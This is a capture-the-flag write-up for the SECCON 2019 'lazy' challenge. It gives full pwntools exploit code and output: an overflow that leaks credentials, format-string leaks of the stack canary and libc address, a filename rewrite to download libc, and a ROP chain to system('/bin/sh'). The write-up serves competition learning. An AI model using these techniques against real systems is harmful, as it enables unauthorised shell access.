Points: 332 (dynamic) Solves: 43
TLDR
- Overflow to bypass login
- Exfiltrate all relevant files (challenge binary and libc)
- Format string to change the name of the file to be downloaded
- Format String to get leaks
- Buffer Overflow to build a ROP-chain and get a shell
Recon and Reversing:
In this challenge we are simply given the server host:port combination: lazy.chal.seccon.jp 33333
Connecting to it with netcat, we get a menu with 3 options:
1
2
3
1: Public contents
2: Login
3: Exit
Looking at the public contents, we see a few notes from the program author and one of them contains a C source code file called login.c
which I assumed was the code that ran when we chose the 2.login
option.
This is the login function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int login(void){
char username[BUFFER_LENGTH];
char password[BUFFER_LENGTH];
char input_username[BUFFER_LENGTH];
char input_password[BUFFER_LENGTH];
memset(username,0x0,BUFFER_LENGTH);
memset(password,0x0,BUFFER_LENGTH);
memset(input_username,0x0,BUFFER_LENGTH);
memset(input_password,0x0,BUFFER_LENGTH);
strcpy(username,USERNAME);
strcpy(password,PASSWORD);
printf("username : ");
input(input_username);
printf("Welcome, %s\n",input_username);
printf("password : ");
input(input_password);
if(strncmp(username,input_username,strlen(USERNAME)) != 0){
puts("Invalid username");
return 0;
}
if(strncmp(password,input_password,strlen(PASSWORD)) != 0){
puts("Invalid password");
return 0;
}
return 1;
This logic seems fine, so let’s look at the input
function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void input(char *buf){
int recv;
int i = 0;
while(1){
recv = (int)read(STDIN_FILENO,&buf[i],1);
if(recv == -1){
puts("ERROR!");
exit(-1);
}
if(buf[i] == '\n'){
return;
}
i++;
}
}
Ha ha! There’s our overflow. The function will only stop reading when we encounter a '\n'
.
I used this to leak the username and password.
1
2
3
4
5
6
7
s = remote(HOST, PORT)
s.sendline("2")
s.sendline("A" * 31)
s.sendline("")
s.interactive()
1
2
username : Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3XPL01717
1
2
3
4
5
6
7
s = remote(HOST, PORT)
s.sendline("2")
s.sendline("A" * 63)
s.sendline("")
s.interactive()
1
2
username : Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
_H4CK3R_
So, we have username = "_H4CK3R_"
and password = "3XPL01717"
After the login, we are presented with one more option: 4: Manage
.
Selecting it shows us the following:
1
2
3
4
5
Welcome to private directory
You can download contents in this directory, but you can't download contents with a dot in the name
lazy
libc.so.6
Input file name
So I downloaded lazy
and started analyzing the binary.
1
2
3
4
5
6
7
8
9
10
11
12
╭─vagrant@ubuntu-bionic ~/share/seccon19/pwn/lazy
╰─$ file lazy
lazy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=21cd58cd5cf177c5dbd0f8259760130d8e6b0795, not stripped
╭─vagrant@ubuntu-bionic ~/share/seccon19/pwn/lazy
╰─$ checksec lazy
[*] '/home/vagrant/share/seccon19/pwn/lazy/lazy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reversing the binary, we can verify that it’s exactly what’s running on the server. The input
function used in the aforementioned login function is also used to ask user input in other areas of the code, so we have other possibly exploitable overflows.
In the filter
function (function that processes the 4: Manage
menu option), we have the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
char s[8]; // [sp+0h] [bp-20h]@1
__int64 v3; // [sp+8h] [bp-18h]@1
int v4; // [sp+10h] [bp-10h]@1
__int64 cookie; // [sp+18h] [bp-8h]@1
puts("You can download contents in this directory, but you can't download contents with a dot in the name");
listing("You can download contents in this directory, but you can't download contents with a dot in the name");
puts("Input file name");
input(s);
if ( strchr(s, '.') ) {
puts("NO! You can not download this file!");
exit(-1);
}
printf("Filename : ");
printf(s);
puts("OK! Downloading...");
download(s);
Here are two exploitable vulnerabilities:
- Buffer overflow in the
s
buffer - Format String vulnerability when printing the file name
Exploitation plan
We saw previously the binary has no PIE, but has FULL RELRO so it’s impossible to overwrite the GOT. We can still use the GOT to get libc leaks, tho.
This limits our exploitation options. We can use the buffer overflow to control the RIP by overwriting the saved RIP on the stack, but we have to bypass the stack canary
. Luckily, we can leak it with our format string. But where would we return to? The perfect solution would be a ret2libc attack, but we don’t know the libc that is used and we can’t just download it since the program checks for .
in the filename before calling the download
function.
This download
is pretty straightforward and only does a couple of security checks:
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( strlen(file_name) > 27 ){
puts("Too long!");
exit(-1);
}
if ( strstr(file_name, "..") ){
puts("No directory traversal!");
exit(-1);
}
...
file_len = strlen(file_name);
strncat(&dest, file_name, file_len - 1);
fd = open(&dest, 0);
puts(&dest);
Then it just sends us the file contents.
Getting the Libc
With a few tests, I figured out that our input is at offset 6 from the printf(s)
, so we could access our input directly via the positional argument "%6$s"
. We can also offset the saved EBP in the stack and leak it by using the "%10$p"
format. With this, we can calculate the address of our input on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s = remote(HOST, PORT)
s.sendline("2")
s.sendline("_H4CK3R_")
s.sendline("3XPL01717")
s.sendline("4")
leak_to_input_offset = 0x60
leak_fmt = "%10$p"
s.sendline(leak_fmt)
s.recvuntil("Filename : ")
leak = int(s.recvline().strip(), 16)
input_addr = leak - leak_to_input_offset
log.info("leak = {}".format(hex(leak)))
log.info("input @ {}".format(hex(input_addr)))
1
2
3
4
5
╭─vagrant@ubuntu-bionic ~/share/seccon19/pwn/lazy
╰─$ python exploit_leaks.py remote
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[*] leak = 0x7ffe4ee73ce0
[*] input @ 0x7ffe4ee73c80
So, my goal is to give the program a format string that will modify itself to be “libc.so.6\x00”. Since the download
function copies strlen(file_name) - 1
bytes, we will have to write “libc.so.6X\x00”, X being any byte != ‘\x00’.
I used my in development format string library to help me calculating the paddings, but I had to edit the payload manually for it to work properly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
# addresses to write on
sequence = "".join([p64(input_addr+i) for i in range(8)])
sequence += p64(input_addr+8)
fs = FormatString()
# first address will be at offset 23 (%23$hhn)
fs.write(23, u64("libc.so."), step=1)
payload = fs.payload()
# this is a dirty hack, but it got the job done
payload += "%" + str(0x3636 - fs.bytes_written_so_far) + "x" + "%31$n"
# pad the input so the the addresses are in a known
# location at a specific offset
payload += "\x00" * (136 - len(payload)) + sequence
s.sendline("4")
s.sendline(payload)
# download libc
s.recvuntil("bytes")
libc_bin = s.recvall()
with open("libc.so.6", "wb") as f:
f.write(libc_bin)
f.close()
1
2
3
4
5
6
╭─vagrant@ubuntu-bionic ~/share/seccon19/pwn/lazy
╰─$ python exploit_leaks.py remote
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[*] leak = 0x7fff69245d50
[*] input @ 0x7fff69245cf0
[+] Receiving all data: Done (3.75MB)
The Final Exploit
Unfortunately, for some reason I couldn’t download the libc without it getting corrupted somehow, so I couldn’t use objdump
to find the function offsets.
I decided to load it in a binary analysis program and look for known functions.
I found this string: GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.
.
This led me to believe that it was not a standard glibc compiled by Ubuntu like it usually is, which means that the offsets will most likely differ.
None of the programs were able to parse it correctly, but I found some strings used in the malloc
function so I used them to find out the offset of malloc inside the libc. I also quickly found out that some of the symbols would load correctly, so I managed to find system
as well.
I used strings
with the -o option to find the offset of the “/bin/sh\x00” string.
I also found a pop rdi; ret
gadget in the binary itself. This allows us to try the standard ret to system
attack.
All that we need is to get a leak from a known function, like malloc
, calculate the libc base and subsequently the addresses of system and the “/bin/sh\x00” string and use our overflow to overwrite the saved RIP.
The only obstacle is the canary, but we can just leak it first and just keep it unchanged.
This is the final exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
HOST = "lazy.chal.seccon.jp"
PORT = 33333
s = remote(HOST, PORT)
username = "_H4CK3R_"
password = "3XPL01717"
# 0x00000000004015f3 : pop rdi ; ret
pop_rdi = 0x4015f3
libc_start_main = 0x20740
system_off = 0x3F570
malloc_off = 0x78560
bin_sh_off = 0x163c38
s.sendline("2")
s.sendline(username)
s.sendline(password)
s.sendline("4")
leak_fmt = "%7$sAAAA"
leak_fmt += p64(elf.got["malloc"])
s.sendline(leak_fmt)
s.recvuntil("Filename : ")
leak = u64(s.recv(6).ljust(8, "\x00"))
libc_base = leak - malloc_off
system = libc_base + system_off
bin_sh = libc_base + bin_sh_off
log.info("leak {}".format(hex(leak)))
log.info("libc base @ {}".format(hex(libc_base)))
log.info("system @ {}".format(hex(system)))
log.info("/bin/sh @ {}".format(hex(bin_sh)))
leak_fmt = "%9$llx"
s.sendline("4")
s.sendline(leak_fmt)
s.recvuntil("Filename : ")
cookie = int(s.recvline().strip(), 16)
log.info("stack cookie = {}".format(hex(cookie)))
leak_fmt = "%10$llx"
s.sendline("4")
s.sendline(leak_fmt)
s.recvuntil("Filename : ")
saved_ebp = int(s.recvline().strip(), 16)
log.info("saved_ebp = {}".format(hex(saved_ebp)))
s.sendline("4")
# AA so it doesn't crash on download
padding = "AA" + "\x00"*0x16
payload = padding + p64(cookie) + p64(saved_ebp) + p64(pop_rdi) + p64(bin_sh) + p64(system)
s.recvuntil("Input file name")
s.sendline(payload)
s.recvuntil("No such file!")
s.interactive()
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
╭─vagrant@ubuntu-bionic ~/share/seccon19/pwn/lazy
╰─$ python exploit.py remote
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done
[*] leak 0x7f4351c05560
[*] libc base @ 0x7f4351b8d000
[*] system @ 0x7f4351bcc570
[*] /bin/sh @ 0x7f4351cf0c38
[*] stack cookie = 0xdc27f3ac4b683800
[*] saved_ebp = 0x7fff2f338da0
[*] Switching to interactive mode
$ ls
810a0afb2c69f8864ee65f0bdca999d7_FLAG
cat
lazy
ld.so
libc.so.6
q
run.sh
$ ./cat 810a0afb2c69f8864ee65f0bdca999d7_FLAG
SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!}